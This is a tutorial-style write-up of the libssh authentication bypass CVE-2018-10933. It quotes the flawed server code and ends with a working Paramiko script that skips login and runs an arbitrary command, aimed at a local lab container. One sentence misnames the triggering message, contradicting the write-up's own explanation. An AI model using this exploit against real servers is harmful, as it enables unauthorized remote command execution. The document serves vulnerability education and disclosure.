Libssh Authentication Bypass Detailed (CVE-2018-10933)

About the vulnerability

Peter Winter-Smith @peterwintrsmith, has discovered a four-year-old bug in Secure Shell libssh implementation that allows anyone to gain unfettered administrative control of a vulnerable server. The issue is basically a bug in the libssh library, not to be confused with the similarly named libssh2 or OpenSSH.

The vulnerability CVE-2018-10933 (6.4 CVSS) is described as follows:

A vulnerability was found in libssh’s server-side state machine before versions 0.7.6 and 0.8.4. A malicious client could create channels without first performing authentication, resulting in unauthorized access.

The vulnerability was introduced in version 0.6, released in 2014, and survived until October 16th, 2018 whereupon it was fixed in versions 0.8.4 and 0.7.6.

Meme


About LibSSH

Libssh is a multiplatform C library implementing the SSHv2 protocol on client and server side. With libssh, you can remotely execute programs, transfer files, use a secure and transparent tunnel, manage public keys and much more …

What systems/applications are using libssh and are affected by this vulnerability?

Debian, Ubuntu, SUSE, Cisco and F5 Networks are addressing patches between others. Also this library is in use by many small applications and embedded systems, among them GnuGK, a VOIP gateway service.


How the vulnerability works?

The vulnerability makes it possible to log in by presenting a server with a SSH2_MSG_USERAUTH_SUCCESS message rather than the SSH2_MSG_USERAUTH_REQUEST message the server was expecting.

This a workflow of the authentication schema and authentication bypass from Guardicore:

Workflow

Normally, in a typicall conection, user sends a SSH2_MSG_USERAUTH_REQUEST that contains the client’s username and authentication data, such as a password. When the server validates this content, it allows the connection.

The problem is when an user sends a SSH2_MSG_USERAUTH_REQUEST the following code is triggered:

SSH_PACKET_CALLBACK(ssh_packet_userauth_success) {
  (void)packet;
  (void)type;
  (void)user;

//...
  session->auth.state = SSH_AUTH_STATE_SUCCESS;
  session->session_state = SSH_SESSION_STATE_AUTHENTICATED;
  session->flags |= SSH_SESSION_FLAG_AUTHENTICATED;


//..
/* Reset errors by previous authentication methods. */
    ssh_reset_error(session);
    session->auth.current_method = SSH_AUTH_METHOD_UNKNOWN;
  return SSH_PACKET_USED;
}

Then, the servers session object is set to authenticated and when the client sends a SSH_MSG_CHANNEL_OPEN message, the following state verification in ssh_packet_channel_open is bypassed.

if (session->session_state != SSH_SESSION_STATE_AUTHENTICATED){
    ssh_set_error(session,SSH_FATAL, "Invalid state when receiving channel open request (must be authenticated)");
    goto error;
  }


About the exploit

Paramiko is used because is a Python implementation of the SSHv2 protocol, providing both client and server functionality. It would send the SSH2_MSG_USERAUTH_SUCCESS to take advantage of the vulnerability.

A socket to the vulnerable libssh server would be openned (in this case port 127.0.0.1:2222). After that, a Paramiko client would be started pointing to the socket and a MSG_USERAUTH_SUCCESS would be sent. After establishing the connection, a command received as first argument will be sent and the response will be returned.

import sys
import paramiko
import socket

s = socket.socket()
s.connect(("127.0.0.1",2222))
m = paramiko.message.Message()
t = paramiko.transport.Transport(s)
t.start_client()
m.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
t._send_message(m)
c = t.open_session(timeout=5)
c.exec_command(sys.argv[1])
out = c.makefile("rb",2048)
output = out.read()
out.close()
print (output)

Proof of concept

The vulnerability will be tested using the vulnerable libssh docker of vulnhub (More info).


References

ARS technica

Guardicore analysis

Ethical Hackers club